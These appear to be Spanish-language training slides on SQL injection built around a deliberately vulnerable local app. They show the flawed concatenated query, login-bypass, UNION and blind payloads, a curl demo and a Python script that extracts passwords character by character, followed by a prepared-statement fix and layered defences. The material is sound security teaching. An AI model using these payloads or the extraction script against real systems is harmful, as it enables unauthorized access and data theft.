

Módulo 2: Vulnerabilidades de Inyección

T04: SQL Injection

Carlos Rodríguez Contreras · GitHub: [karrocon](#)

 *El ataque de inyección más clásico — y más devastador*

Objetivos

- Entender cómo funciona SQL Injection a nivel de query
- Explotar el login de VulnApp con payloads clásicos
- Realizar un Blind SQLi básico
- Corregir la vulnerabilidad con prepared statements

¿Qué es SQL Injection?

Inyectar fragmentos de SQL en un input que el servidor concatena directamente en una query.

```
Input del usuario:      ' OR 1=1 --  
Query resultante:      SELECT * FROM users WHERE username='' OR 1=1 --' AND password='...'
```

Impacto:

-  Bypass de autenticación
-  Lectura de toda la base de datos
-  Modificación/borrado de datos
-  En algunos DBMS: ejecución de comandos del sistema

El código vulnerable en VulnApp

```
// src/routes/auth.ts - línea 30
const query = `SELECT * FROM users
  WHERE username='${username}' AND password='${password}'`;

let user = db.prepare(query).get();
```

💀 **El problema:** concatenación de strings con input de usuario. No hay distinción entre datos y código SQL.

Payload clásico: bypass de login

```
username: ' OR 1=1 --  
password: (cualquier cosa)
```

Query resultante:

```
SELECT * FROM users  
WHERE username=' ' OR 1=1 -- ' AND password='loquesea'
```

- `OR 1=1` → siempre verdadero
- `--` → comenta el resto de la query
- Resultado: devuelve el **primer usuario** (alice, admin)

Demo con curl

```
curl -X POST http://localhost:3000/login \  
-H "Content-Type: application/json" \  
-d '{"username":"' OR 1=1 --',"password":"'x'"}'
```

Respuesta:

```
{  
  "token": "eyJhbGciOiJIUzI1NiJ9...",  
  "user": { "id": 1, "username": "alice", "role": "admin" }  
}
```

¡Acceso como admin sin conocer la contraseña!

Tipos de SQL Injection

Tipo	Cómo funciona	Ejemplo
In-band (clásico)	El resultado aparece en la respuesta	' OR 1=1 --
Blind boolean	La app responde distinto según true/false	' AND 1=1 -- vs ' AND 1=2 --
Blind time-based	Se introduce un delay si la condición es verdadera	'; WAITFOR DELAY '0:0:5' --
Union-based	Añade un SELECT extra a la query original	' UNION SELECT username,password FROM users --

Union-based SQLi – extracción de datos

```
# Paso 1: Determinar número de columnas
' ORDER BY 1 --      ← OK
' ORDER BY 2 --      ← OK
' ORDER BY 3 --      ← Error → la tabla tiene 2 columnas

# Paso 2: Extraer datos con UNION
' UNION SELECT username, password FROM users --
```

En VulnApp (login devuelve un solo usuario, pero podemos explotar otros endpoints):

```
# Si hubiera un endpoint de búsqueda vulnerable:
GET /search?q=' UNION SELECT sql,name FROM sqlite_master --
```

💀 Con UNION puedes leer **cualquier tabla** de la BD, incluyendo el esquema completo.

Blind SQLi – extracción carácter a carácter

Cuando la app **no muestra datos directamente**, pero responde distinto según true/false:

```
# ¿El primer carácter del password de alice es 'p'?  
' AND (SELECT substr(password,1,1) FROM users WHERE username='alice')='p' --  
# → Login exitoso (true)  
  
# ¿Es 'a'?  
' AND (SELECT substr(password,1,1) FROM users WHERE username='alice')='a' --  
# → Login fallido (false)
```

Automatización con script:

```
import requests  
alphabet = 'abcdefghijklmnopqrstuvwxyz0123456789'  
password = ''  
for pos in range(1, 20):  
    for c in alphabet:  
        payload = f"' AND substr((SELECT password FROM users WHERE id=1),{pos},1)='{c}' --"  
        r = requests.post(URL, json={"username": payload, "password": "x"})  
        if "token" in r.text:  
            password += c; break
```

Casos reales de SQL Injection

Año	Empresa	Impacto
2008	Heartland Payment Systems	130M tarjetas de crédito
2011	Sony PlayStation Network	77M cuentas expuestas
2015	TalkTalk	157K clientes, multa £400K
2019	Fortnite (Epic Games)	Datos de 200M jugadores

⚠️ SQLi sigue en el **OWASP Top 10 desde 2003**. Es la vulnerabilidad más explotada de la historia.

El fix: Prepared Statements

```
//  SEGURO – parámetros separados del SQL  
const user = db.prepare(  
  'SELECT * FROM users WHERE username = ? AND password = ?'  
)  
.get(username, password);
```

¿Por qué funciona?

- El motor SQL sabe que `?` es un **valor**, nunca código
- Aunque el input contenga `'`, `OR`, `--`, se trata como texto literal
- Es la defensa #1 contra SQLi — no hay excusas para no usarlo

Defensa en profundidad

Capa	Medida
1. Código	Prepared statements / ORM con parámetros
2. Validación	Rechazar caracteres inesperados en input
3. Privilegios	Cuenta de BD con mínimos permisos (solo SELECT si es lectura)
4. WAF	Reglas que bloquean patrones SQLi comunes
5. Monitorización	Alertar ante queries con errores de sintaxis frecuentes



Lab T04: SQL Injection en el login

Objetivo: explotar el login de VulnApp y luego aplicar el fix

Setup: `cd VulnApp && npm start` → `http://localhost:3000/login`

1. Introduce `' OR 1=1 --` como usuario (cualquier contraseña)
2. Observa que accedes sin credenciales válidas
3. Abre `src/routes/auth.ts` y aplica prepared statements
4. Verifica que el payload ya no funciona

⚠ Solo en entorno local. Nunca en sistemas reales sin autorización.